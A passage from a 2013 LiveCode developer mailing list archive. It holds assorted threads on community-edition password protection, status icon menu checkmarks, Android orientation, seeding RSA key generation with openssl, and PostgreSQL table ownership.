i am doing something wrong. > > Any idea? > > Regards, > > Matthias > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gandalf at doctorTimothyMiller.com Thu May 2 15:41:01 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Thu, 2 May 2013 12:41:01 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <518218B5.20404@gmail.com> References: <5181A475.8070200@fourthworld.com> <4C6A63F2-52E4-41B9-B04C-DBBAA5CC1210@doctorTimothyMiller.com> <518218B5.20404@gmail.com> Message-ID: On May 2, 2013, at 12:41 AM, Richmond wrote: > On 05/02/2013 02:48 AM, Timothy Miller wrote: >> On May 1, 2013, at 4:39 PM, stephen barncard wrote: >> >>> Well, here's another smart-aleck question while I'm feeling randy. Are >>> there script limits in the Community edition? >> I have no idea. Don't even know what a script limit is. > > Perhaps it is time you found out what all these things you don't know about are; unless, fo course, > you want to go on "being hoodwinked". > > Ignorance is not a defence in a court of law. I never complained that I was hoodwinked. I was momentarily surprised and disappointed. Jackie took a moment to explain that the loss of password protection in non-commercial stacks was unavoidable. I get that, more or less. Jackie has an admirable talent for explaining things clearly, in a few words. Richard also made some helpful comments. Nevertheless, you may be both more intelligent and diligent than me, and might also possess more common sense and higher ethical standards. You have won a free pass to feel really good about yourself all day. Enjoy! Tim Miller From stephenREVOLUTION2 at barncard.com Thu May 2 15:56:03 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Thu, 2 May 2013 12:56:03 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: <53331EE2-005B-4813-BE4D-217D8E25B7B4@mac.com> References: <193259056987.20130430214613@ahsoftware.net> <53331EE2-005B-4813-BE4D-217D8E25B7B4@mac.com> Message-ID: I think Mark Wieder stated that script limits are gone now. On Thu, May 2, 2013 at 3:54 AM, Bj?rnke von Gierke wrote: > > On 02.05.2013, at 00:05, Peter Haworth wrote: > > > I don't think so - standalones are the same as any other executables, > they > > have compiled code in them, not scripts. > > Just want to note that this is wrong, and standalones do contain all > unencrypted scripts as clear text. They also contain field contents, button > names and custom properties (which all remain clear text even with a > password). > > This is of course because the engine actually reads the scripts every time > you run one. Part of this is because you can set the script of an object > within a standalone (tho for historical drm reasons you can't just set any > script length, see the "scriptLimit" property). > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From bvg at mac.com Thu May 2 16:19:23 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 02 May 2013 22:19:23 +0200 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> <53331EE2-005B-4813-BE4D-217D8E25B7B4@mac.com> Message-ID: <7B92C385-A1CC-4425-82E3-CB2563EBF83F@mac.com> yes, i missed that change. but my other comments still stand :) On 02.05.2013, at 21:56, stephen barncard wrote: > I think Mark Wieder stated that script limits are gone now. > > > On Thu, May 2, 2013 at 3:54 AM, Bj?rnke von Gierke wrote: > >> >> On 02.05.2013, at 00:05, Peter Haworth wrote: >> >>> I don't think so - standalones are the same as any other executables, >> they >>> have compiled code in them, not scripts. >> >> Just want to note that this is wrong, and standalones do contain all >> unencrypted scripts as clear text. They also contain field contents, button >> names and custom properties (which all remain clear text even with a >> password). >> >> This is of course because the engine actually reads the scripts every time >> you run one. Part of this is because you can set the script of an object >> within a standalone (tho for historical drm reasons you can't just set any >> script length, see the "scriptLimit" property). >> >> -- >> >> Use an alternative Dictionary viewer: >> http://bjoernke.com/bvgdocu/ >> >> Chat with other RunRev developers: >> http://bjoernke.com/chatrev/ >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From dixonja at hotmail.co.uk Thu May 2 16:21:55 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 2 May 2013 21:21:55 +0100 Subject: Build a standalone with 6.0.1 ??? Message-ID: Anyone manage to build a 'standalone application' using LC 6.0.1... It seems no problem building for the simulator, all is good... but using the same settings and trying to get a standalone throws an error... Using Mountain Lion 10.8.3, LC 6.01 community, xCode 4.6.2 Dixie From jacques.hausser at unil.ch Thu May 2 17:02:37 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Thu, 2 May 2013 23:02:37 +0200 Subject: What could be better ? [Was: Password protection in non-commercial 6.0.1] In-Reply-To: References: <5181A475.8070200@fourthworld.com> <4C6A63F2-52E4-41B9-B04C-DBBAA5CC1210@doctorTimothyMiller.com> <518218B5.20404@gmail.com> Message-ID: <1F38D641-1B3C-4392-BEC8-6918F750403E@unil.ch> I'm reading a lot on this list - and I'm seldom writing. Usually merely because it's too late, and somebody else has already answered better than I could do. I must say that I'm - more than slightly - surprised by some of the complaints I'm reading about the new "way of life" RunRev is offering to us, and to everybody else around. Just think about it: it's fantastically souple and adaptable to most of the wishes and dreams everybody can imagine. It was remarkably well worked out, and if they are some risks, they are taken by the company - not by their customers. And even in the unlikely prospect that RunRev would ultimately suffer (financially speaking) from the situation they have created, LiveCode itself shall survive, because it is now a personal concern for plenty of gallant and honest code writers around the world. I'm myself technically unable to contribute significantly to the development of the "next generation LiveCode" - barely spotting here and there a bug not yet noticed. But I have nevertheless the feeling to be part of a fantastic adventure in a community which became an important part of my life. Well. I enjoyed this evening some excellent single malt offered by a friendly neighbor. LiveCode is not the only good product of Scotland - but it is certainly one of the best ones ! Jacques From matthias_livecode_150811 at m-r-d.de Thu May 2 17:06:53 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 2 May 2013 23:06:53 +0200 Subject: how to "check" a entry in a statusiconmenu In-Reply-To: <88AB933C-376D-4F7C-A090-B94185ED8FE4@pbh.on-rev.com> References: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> <88AB933C-376D-4F7C-A090-B94185ED8FE4@pbh.on-rev.com> Message-ID: Hi Paul, thanks for your suggestions. I don?t think i can adapt this for the statusiconmenu, but thanks anyway. I will store your code for future use when i need option menus. Regards, Matthias Am 02.05.2013 um 17:04 schrieb Paul Hibbert : > Hi Mattias, > > Not too sure this will help, but I came up against a similar problem with option menus on Win, so figured out a way to do what I needed by code, maybe you can adapt this for your use? > > ==Code== > > local sHist,sMenuText,sLabel > > on mouseDown > lock screen -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Stops the label momentarily changing on mouseDown > put the menuHistory of me into sHist -- ~~~~~~~~~~~~~~ So we know where we are coming from > put the label of me into sLabel -- ~~~~~~~~~~~~~~~~~~ So we can re-use it later > put the text of me into sMenuText -- ~~~~~~~~~~~~~~~~ So we can manipulate it later > end mouseDown > > on menuPick pItemName > if char 1 of pItemName = "*" then -- ~~~~~~~~~~~~~~~~~ Check to see if the user chose a disabled item > lock messages -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ So we can control the outcome without unexpected results > set the menuHistory of me to sHist -- ~~~~~~~~~~~~~~ Returns the menuHistory back to the required state > set the label of me to sLabel -- ~~~~~~~~~~~~~~~~~~ Give the user correct feedback > unlock messages > exit menuPick -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Don't need to go any further > else > replace "*" with "" in sMenuText -- ~~~~~~~~~~~~~~~~ Remove any previous choice > put word 2 of the selectedLine of me into tLine -- ~ Identify the new choice > put "*" before line tLine of sMenuText -- ~~~~~~~~~~ Mark the new choice > set the text of me to sMenuText -- ~~~~~~~~~~~~~~~~~ Update the Menu Text > set the menuHistory of me to tLine -- ~~~~~~~~~~~~~~ Update the menuHistory > set the label of me to pItemName -- ~~~~~~~~~~~~~~~~ Give the user some feedback > end if > unlock screen > answer pItemName -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Now we can do something with the user choice > end menuPick > > ==End Code== > > Paul > > On 2013-05-02, at 3:45 AM, Matthias Rebbe wrote: > >> Hi, >> >> for an app in Windows i am using the StatusIconMenu feature, which works really well. >> But i would like to place a checkmark or an icon before an entry in that menu. >> >> Is this possible? Tried with the special character "!c" to get the entry displayed as checked. But that did not >> work. Maybe i am doing something wrong. >> >> Any idea? >> >> Regards, >> >> Matthias >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Thu May 2 17:22:52 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 2 May 2013 23:22:52 +0200 Subject: how to "check" a entry in a statusiconmenu In-Reply-To: References: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> Message-ID: <5AB45FD2-03A7-4890-9D35-06991385E8A1@m-r-d.de> Peter, thanks for your explanations. The status icon is an experimental feature of LC (since 4.5). For more information just search for "Status icon support" in the LC release notes. In the meantime i received a reply in the forum from Neil from Runrev. Checkmarks/diamonds cannot be used in statusiconmenus at the moment. Regards, Matthias Am 02.05.2013 um 20:23 schrieb Peter Haworth : > Hi Matthias > I'm not familiar with the StatusIconMenu feature (is that an LC feature or > WIndows?) but I'd like to expand this thread to another aspect of > checkmarks and diamonds in option menu items if I may. > > My experience on a Mac is that if you put a check mark against an option > menu item by inserting "!c" at the beginning of it, when that item is > selected from the option menu, the pitemname parameter to the menuPick > handler does not include the "!c". It is there in the text of the option > menu so the only way to find out if an item is checked or not is to use the > menuHistory setting to get the selected line from the text of the option > menu and see if it begins with "!c". Same applies to the "!n","!r","!u" > special characters. > > > Pete > lcSQL Software > > > On Thu, May 2, 2013 at 3:45 AM, Matthias Rebbe < > matthias_livecode_150811 at m-r-d.de> wrote: > >> Hi, >> >> for an app in Windows i am using the StatusIconMenu feature, which works >> really well. >> But i would like to place a checkmark or an icon before an entry in that >> menu. >> >> Is this possible? Tried with the special character "!c" to get the entry >> displayed as checked. But that did not >> work. Maybe i am doing something wrong. >> >> Any idea? >> >> Regards, >> >> Matthias >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Thu May 2 18:21:58 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 2 May 2013 15:21:58 -0700 Subject: how to "check" a entry in a statusiconmenu In-Reply-To: <5AB45FD2-03A7-4890-9D35-06991385E8A1@m-r-d.de> References: <3A2BFC07-775A-4A67-9704-D5B434D4A652@m-r-d.de> <5AB45FD2-03A7-4890-9D35-06991385E8A1@m-r-d.de> Message-ID: Thanks Matthias, I'll take a look - I did look in the dictionary and didn;t find anything but not surprising since it's experimental. Pete lcSQL Software On Thu, May 2, 2013 at 2:22 PM, Matthias Rebbe < matthias_livecode_150811 at m-r-d.de> wrote: > Peter, > > thanks for your explanations. The status icon is an experimental feature > of LC (since 4.5). For more information just search for "Status icon > support" in the LC release notes. > > In the meantime i received a reply in the forum from Neil from Runrev. > Checkmarks/diamonds cannot be used in statusiconmenus at the moment. > > Regards, > > Matthias > > Am 02.05.2013 um 20:23 schrieb Peter Haworth : > > > Hi Matthias > > I'm not familiar with the StatusIconMenu feature (is that an LC feature > or > > WIndows?) but I'd like to expand this thread to another aspect of > > checkmarks and diamonds in option menu items if I may. > > > > My experience on a Mac is that if you put a check mark against an option > > menu item by inserting "!c" at the beginning of it, when that item is > > selected from the option menu, the pitemname parameter to the menuPick > > handler does not include the "!c". It is there in the text of the option > > menu so the only way to find out if an item is checked or not is to use > the > > menuHistory setting to get the selected line from the text of the option > > menu and see if it begins with "!c". Same applies to the "!n","!r","!u" > > special characters. > > > > > > Pete > > lcSQL Software > > > > > > On Thu, May 2, 2013 at 3:45 AM, Matthias Rebbe < > > matthias_livecode_150811 at m-r-d.de> wrote: > > > >> Hi, > >> > >> for an app in Windows i am using the StatusIconMenu feature, which works > >> really well. > >> But i would like to place a checkmark or an icon before an entry in that > >> menu. > >> > >> Is this possible? Tried with the special character "!c" to get the entry > >> displayed as checked. But that did not > >> work. Maybe i am doing something wrong. > >> > >> Any idea? > >> > >> Regards, > >> > >> Matthias > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dunbarx at aol.com Thu May 2 18:51:08 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 2 May 2013 18:51:08 -0400 (EDT) Subject: User notes in dictionary In-Reply-To: References: Message-ID: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> I think I asked this a few years ago. I am using 5.5.4, but certain user notes in the dictionary do not appear unless I: Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. The user notes appear in 4, if I care to look for them. But they will not appear in 5 without that rigamarole. What gives? Craig Newman From alex at tweedly.net Thu May 2 18:59:44 2013 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 02 May 2013 23:59:44 +0100 Subject: Mobile (Android) orientations Message-ID: <5182EFE0.205@tweedly.net> I'm just starting to play with Mobile builds - so this could be the first of a series of dumb questions :-) I build a stack (one button, one field, no script at all), and build for Android (following the instructions from Colin's book). The "Initial orientation" is set to "portrait". I can't get any Virtual Devices to run - but I can download and test on my Kindle Fire. - builds, loads and runs (i.e. does nothing :-) OK Rotating the device does nothing (i.e. the button/field) remain fixed relative to the device, and hence they also become sideways / upside-down / sideways again / OK again. If I then add on preopencard mobileSetAllowedOrientations "portrait,portrait upside down,landscape left,landscape right" end preopencard to the card script, then rotating the device causes the button/field to re-orient themselves relative to the device, i.e. so that they are in constant "proper" orientation. BUT - in landscape mode, the button/field are upside down ! They're OK (i.e. right way up) in portrait and "portrait upside down" states, but in landscape the controls (and the status bar which shows the Kindle name + time + wifi/battery status) are upside down. What should I do ? Could someone donate a working, multi-orientation stack so I can test it (just in case it's something about Kindle Fire, or even some specific fault with my particular Kindle Fire device) ? Thanks for any suggestions ... -- Alex. From bonnmike at gmail.com Thu May 2 19:07:59 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 2 May 2013 17:07:59 -0600 Subject: Mobile (Android) orientations In-Reply-To: <5182EFE0.205@tweedly.net> References: <5182EFE0.205@tweedly.net> Message-ID: can't help with the orientation at the moment, but the problem with the virtual devices is that you've most likely selected 2.2 as your build target, and are using 2.2 virtual devices. go to 2.3 or 2.3.3. The way some of the sensors are handled in the 2.2 emulator don't work right (real devices work) so going to 2.3 and higher should be the easy fix for that. On Thu, May 2, 2013 at 4:59 PM, Alex Tweedly wrote: > I'm just starting to play with Mobile builds - so this could be the first > of a series of dumb questions :-) > > I build a stack (one button, one field, no script at all), and build for > Android (following the instructions from Colin's book). > The "Initial orientation" is set to "portrait". > I can't get any Virtual Devices to run - but I can download and test on my > Kindle Fire. > > - builds, loads and runs (i.e. does nothing :-) OK > Rotating the device does nothing (i.e. the button/field) remain fixed > relative to the device, and hence they also become sideways / upside-down / > sideways again / OK again. > > > If I then add > on preopencard > mobileSetAllowedOrientations "portrait,portrait upside down,landscape > left,landscape right" > end preopencard > > to the card script, then rotating the device causes the button/field to > re-orient themselves relative to the device, i.e. so that they are in > constant "proper" orientation. BUT - in landscape mode, the button/field > are upside down ! They're OK (i.e. right way up) in portrait and "portrait > upside down" states, but in landscape the controls (and the status bar > which shows the Kindle name + time + wifi/battery status) are upside down. > > What should I do ? > Could someone donate a working, multi-orientation stack so I can test it > (just in case it's something about Kindle Fire, or even some specific fault > with my particular Kindle Fire device) ? > > Thanks for any suggestions ... > -- Alex. > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From igor at semperuna.com Thu May 2 19:08:55 2013 From: igor at semperuna.com (Igor de Oliveira Couto) Date: Fri, 3 May 2013 09:08:55 +1000 Subject: Generating RSA pairs In-Reply-To: References: Message-ID: <15729363-37AB-4462-939E-34F55223F863@semperuna.com> On 03/05/2013, at 3:30 AM, Dr. Hawkins wrote: > I need to generate RSA key pairs (one pair per client). > > I see the openssl key generation possibility, but that's still relying > on my system for "randomness". I'd *like* to pull random numbers > (say, from random.org) and generate the keys from those. > > Does anyone have any experience or suggestions for this? Dr. Hawkins, while using online services like random.org may provide you with a higher level of randomness, it introduces the old problem of internet reliability. Chances are, that one day your program will need that random number, and the server (or the internet connection) will be down. It is always best to have at least some form of local seed generator as a backup. There are a few well-documented ways to gather usable, unique seeds, such as: * getting the user to type for 10-20 seconds, randomly picking chars entered (PGP used this technique when initially generating the keys for the user) * getting the user to move the cursor on the screen and randomly recording mouse coordinates * parsing time-based readings - ie., getting 'the millisecons', then combining it with 'the internet time', then picking a few of the characters randomly from the resulting string * asking the user to select 2 or 3 files in their system, and reading random bits from the files The safest way would be to try and use a combination of 2 or 3 different techniques to generate the seed - ie., getting the user to type text while also doing a time-based seed calculation, and trying to get a random integer from random.org. Some frameworks have gone through great lengths in their random number generators - like Cocoa - and it may be possible also to bring some of that functionality into LiveCode via externals (but I'm afraid I can't help you with that!). I hope this helps. Kind regards, -- Igor Couto Sydney, Australia From mwieder at ahsoftware.net Thu May 2 19:15:56 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 2 May 2013 23:15:56 +0000 (UTC) Subject: Password protection in non-commercial 6.0.1 References: <5181A475.8070200@fourthworld.com> <6828782E-34DC-422F-9E5A-E72CFE5B6EF5@mac.com> Message-ID: Dr. Hawkins writes: > > On Thu, May 2, 2013 at 3:58 AM, Bj?rnke von Gierke wrote: > > Wait what? Self modifying automatic genetic code algorithm, here we come! > > See the work of Dan Ashlock (Iowa State) and others; in addition to > genetic algorithms, they've done work where programs evolve. I did some work on genetic algorithms a couple of decades ago through the Santa Fe Institute. Made a GA Toolbox, part in HyperCard, of course, and a lot in Think C for speed. I always wanted to set up a network crawler that would optimize the best path between any two nodes. -- Mark Wieder mwieder at ahsoftware.net From dochawk at gmail.com Thu May 2 19:51:12 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 16:51:12 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <5181A475.8070200@fourthworld.com> <6828782E-34DC-422F-9E5A-E72CFE5B6EF5@mac.com> Message-ID: On Thu, May 2, 2013 at 4:15 PM, Mark Wieder wrote: > > > See the work of Dan Ashlock (Iowa State) and others; in addition to > > genetic algorithms, they've done work where programs evolve. > > I did some work on genetic algorithms a couple of decades ago through the > Santa Fe Institute. Ashlock is more than slightly connected to the Santa Fe Institute :) > Made a GA Toolbox, part in HyperCard, of course, and a > lot in Think C for speed. I always wanted to set up a network crawler that > would optimize the best path between any two nodes They can solve many interesting things. I did one for a market simulation, and discovered it takes almost no information to get to the market clearing price, for example. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From mwieder at ahsoftware.net Thu May 2 20:16:16 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 3 May 2013 00:16:16 +0000 (UTC) Subject: Password protection in non-commercial 6.0.1 References: <5181A475.8070200@fourthworld.com> <6828782E-34DC-422F-9E5A-E72CFE5B6EF5@mac.com> Message-ID: Dr. Hawkins writes: > Ashlock is more than slightly connected to the Santa Fe Institute :) OK - that got me to take a look... as a sad commentary on things, he is no longer with Iowa State. His faculty web page there says "In August I will be taking a leave of absence from Iowa State and moving to the University of Guelph in southern Ontario, Canada. The position is a permanant one. While I will miss my collaborators at Iowa State (and might come back if matters improve radically) I can no longer mantain my level of excelence in teaching and research in the face of endless budget cuts." -- Mark Wieder mwieder at ahsoftware.net From dochawk at gmail.com Thu May 2 20:33:17 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 17:33:17 -0700 Subject: changing table owners in postgres from livecode Message-ID: Just as I thought I had things under control . . . All of my tests were with me as users. I created the role dhbk, and made it the owner of the database. I created roles inside of that for myself and my assistant. It seems, though, that I am the owner of tables as they are created. I can change ownership from psql, but my attempts from livecode aren't working I've tried BEGIN TRANSACTION; CREATE TABLE blah bla blah; ALTER TABLE blah OWNER TO dhbk; COMMIT; and also a second transaction of just the ALTER, but I still own the tables. My temporary in-office workaround is to go into psql and change table ownership, but that's not an option for the shipping product . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Thu May 2 20:38:38 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 17:38:38 -0700 Subject: Generating RSA pairs In-Reply-To: <15729363-37AB-4462-939E-34F55223F863@semperuna.com> References: <15729363-37AB-4462-939E-34F55223F863@semperuna.com> Message-ID: On Thu, May 2, 2013 at 4:08 PM, Igor de Oliveira Couto wrote: > On 03/05/2013, at 3:30 AM, Dr. Hawkins wrote: > > Dr. Hawkins, while using online services like random.org may provide you > with a higher level of randomness, it introduces the old problem of > internet reliability. Chances are, that one day your program will need that > random number, and the server (or the internet connection) will be down. It > is always best to have at least some form of local seed generator as a > backup. > That's a good point. However, I only need a random number once ever per customer; it's to encrypt their license keys & privileges. I could stockpile a couple of hundred random numbers for later use . . . :) The issue is how to turn the random number, from whatever source, into an RSA pair. I didn't see any way from the openssl man page to feed it a random number; it seems to rely on the system. This part only needs to run under unix; there isn't a chance that I'd be running a server under windows . . . (my son in law is less than pleased that I won't even allow windows machines on my home network . . .) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Thu May 2 20:40:21 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 2 May 2013 17:40:21 -0700 Subject: Cheapjack development for Windows In-Reply-To: <51821F3E.3000404@gmail.com> References: <51821F3E.3000404@gmail.com> Message-ID: On Thu, May 2, 2013 at 1:09 AM, Richmond wrote: > It occurred to me then that the cheapest way to develop OSS software for > Windows > was to use Livecode OSS 6 for Windows in WINE. > Why even use WINE? I've had no issue building Windows & Linux standalones from Mac (ok, aside from the possible mortal sin involved in creating a windows program, but . . .) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From monte at sweattechnologies.com Thu May 2 20:51:27 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 3 May 2013 10:51:27 +1000 Subject: Cheapjack development for Windows In-Reply-To: References: <51821F3E.3000404@gmail.com> Message-ID: <4BF2369B-CB90-4238-AA10-060680E97083@sweattechnologies.com> On 03/05/2013, at 10:40 AM, Dr. Hawkins wrote: > Why even use WINE? > > I've had no issue building Windows & Linux standalones from Mac (ok, aside > from the possible mortal sin involved in creating a windows program, but . > . .) It is recommended not to build Win and Linux on Mac because it will mean when they open a heap of MacToISOing will go on. I really haven't worried about that too much myself though since LC apps seem to open so fast anyway... still this wouldn't be an issue going Linux -> Windows. Cheers -- M E R Goulding Software development services Bespoke application development for vertical markets mergExt - There's an external for that! From pete at lcsql.com Thu May 2 20:59:02 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 2 May 2013 17:59:02 -0700 Subject: changing table owners in postgres from livecode In-Reply-To: References: Message-ID: On Thu, May 2, 2013 at 5:33 PM, Dr. Hawkins wrote: > I've tried > BEGIN TRANSACTION; > CREATE TABLE blah bla blah; > ALTER TABLE blah OWNER TO dhbk; > COMMIT; > > and also a second transaction of just the ALTER, but I still own the > tables. > Not familiar with postgres but maybe single quotes around dhbk? Pete lcSQL Software From igor at semperuna.com Thu May 2 21:07:33 2013 From: igor at semperuna.com (Igor de Oliveira Couto) Date: Fri, 3 May 2013 11:07:33 +1000 Subject: Generating RSA pairs In-Reply-To: References: <15729363-37AB-4462-939E-34F55223F863@semperuna.com> Message-ID: On 03/05/2013, at 10:38 AM, Dr. Hawkins wrote: > That's a good point. > > However, I only need a random number once ever per customer; it's to > encrypt their license keys & privileges. In a licensing situation, usually the software developer will hold the private key, and will distribute the public key with the software. The public key can then be used the verify the contents and authenticity of the license file. In that scenario, the only public/private key pair you would need to generate would be your own. :-) > [...] The issue is how to turn the random number, from whatever source, into an > RSA pair. I didn't see any way from the openssl man page to feed it a > random number; it seems to rely on the system. In your terminal, try "man genrsa". This is the sub-module within openssl that generates rsa key pairs, and it usually has its own man entry. You will see that it takes a -rand parameter, which is a file with random binary data, which is what you use to seed the generator. > This part only needs to run under unix; there isn't a chance that I'd be > running a server under windows . . . (my son in law is less than pleased > that I won't even allow windows machines on my home network . . .) Wise, very wise... ;-) I hope this helps! Kind regards, -- Igor Couto Sydney, Australia From rdimola at evergreeninfo.net Thu May 2 21:16:26 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Thu, 2 May 2013 21:16:26 -0400 Subject: Mobile (Android) orientations In-Reply-To: <5182EFE0.205@tweedly.net> References: <5182EFE0.205@tweedly.net> Message-ID: <024b01ce479b$d5961990$80c24cb0$@net> Alex, Remember also that "portrait upside down" and "landscape left" are not supported on Android 2.2 or earlier. This might account for the upside down thing. Flip it the other way in the emulator and it might just work. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Alex Tweedly Sent: Thursday, May 02, 2013 7:00 PM To: How to use LiveCode Subject: Mobile (Android) orientations I'm just starting to play with Mobile builds - so this could be the first of a series of dumb questions :-) I build a stack (one button, one field, no script at all), and build for Android (following the instructions from Colin's book). The "Initial orientation" is set to "portrait". I can't get any Virtual Devices to run - but I can download and test on my Kindle Fire. - builds, loads and runs (i.e. does nothing :-) OK Rotating the device does nothing (i.e. the button/field) remain fixed relative to the device, and hence they also become sideways / upside-down / sideways again / OK again. If I then add on preopencard mobileSetAllowedOrientations "portrait,portrait upside down,landscape left,landscape right" end preopencard to the card script, then rotating the device causes the button/field to re-orient themselves relative to the device, i.e. so that they are in constant "proper" orientation. BUT - in landscape mode, the button/field are upside down ! They're OK (i.e. right way up) in portrait and "portrait upside down" states, but in landscape the controls (and the status bar which shows the Kindle name + time + wifi/battery status) are upside down. What should I do ? Could someone donate a working, multi-orientation stack so I can test it (just in case it's something about Kindle Fire, or even some specific fault with my particular Kindle Fire device) ? Thanks for any suggestions ... -- Alex. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Thu May 2 21:19:04 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 2 May 2013 18:19:04 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: <7B92C385-A1CC-4425-82E3-CB2563EBF83F@mac.com> References: <193259056987.20130430214613@ahsoftware.net> <53331EE2-005B-4813-BE4D-217D8E25B7B4@mac.com> <7B92C385-A1CC-4425-82E3-CB2563EBF83F@mac.com> Message-ID: I guess I'm a little surprised by that. There was a thread in November last year about this and some pretty enlightened experts on this list indicated that the format of a standalone had changed within the last year and it was no longer possible (OK, it's always possible!) to get at the scripts within a standalone. Maybe I misunderstood what was said in that thread. Pete lcSQL Software On Thu, May 2, 2013 at 1:19 PM, Bj?rnke von Gierke wrote: > yes, i missed that change. but my other comments still stand :) > > On 02.05.2013, at 21:56, stephen barncard wrote: > > > I think Mark Wieder stated that script limits are gone now. > > > > > > On Thu, May 2, 2013 at 3:54 AM, Bj?rnke von Gierke wrote: > > > >> > >> On 02.05.2013, at 00:05, Peter Haworth wrote: > >> > >>> I don't think so - standalones are the same as any other executables, > >> they > >>> have compiled code in them, not scripts. > >> > >> Just want to note that this is wrong, and standalones do contain all > >> unencrypted scripts as clear text. They also contain field contents, > button > >> names and custom properties (which all remain clear text even with a > >> password). > >> > >> This is of course because the engine actually reads the scripts every > time > >> you run one. Part of this is because you can set the script of an object > >> within a standalone (tho for historical drm reasons you can't just set > any > >> script length, see the "scriptLimit" property). > >> > >> -- > >> > >> Use an alternative Dictionary viewer: > >> http://bjoernke.com/bvgdocu/ > >> > >> Chat with other RunRev developers: > >> http://bjoernke.com/chatrev/ > >> > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your 